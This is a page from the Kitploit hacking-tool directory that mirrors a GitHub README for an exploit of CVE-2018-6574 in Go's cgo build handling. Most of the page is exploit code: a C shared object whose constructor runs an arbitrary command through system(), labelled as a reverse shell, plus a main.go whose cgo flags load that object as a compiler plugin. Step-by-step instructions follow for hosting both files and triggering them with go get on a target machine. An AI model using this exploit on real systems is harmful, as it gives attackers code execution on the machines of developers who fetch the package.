Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2018-6574 — Golang cgo exploit for CVE-2018-6574 | Kitploit
Tools/GitHubGitHub/paulogmota/cve-2018-6574
Vulnerability AnalysisExploitationShellcodePenetration TestingPayload DevelopmentBinary Exploitation
GitHubpaulogmota/cve-2018-6574

CVE-2018-6574

Golang cgo exploit for CVE-2018-6574

View Repository
21 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2018-6574

Steps to reproduce:

  1. Create a .c file containing the malicious command (revshell):
root@kitploit:~
#include<stdio.h>
#include<stdlib.h>

static void malicious() __attribute__((constructor));

void malicious() {
  system("<insert your command here>");
}
  1. Compile it using GCC. You must compile it on the exact architecture and OS as the target (e.g. Linux x86_64):
root@kitploit:~
gcc -shared -o attack.so -fPIC attack.c
  1. Create a main.go file containing headers that will tell go to use our malicious plugin:
root@kitploit:~
package main
// #cgo CFLAGS: -fplugin=./attack.so
// typedef int (*intFunc) ();
//
// int bridge_int_func(intFunc f){
//   return f();
// }
//
// int fortytwo(){
//   return 42;
// }
import "C"
import "fmt"

func main() {
    f := C.intFunc(C.fortytwo)
    fmt.Println(int(C.bridge_int_func(f)))
    // Output: 42
}
  1. Host the files main.go and attack.so on a github repo
  2. On the target machine, run the command `go get github.com//
  3. Be happy
Download Tool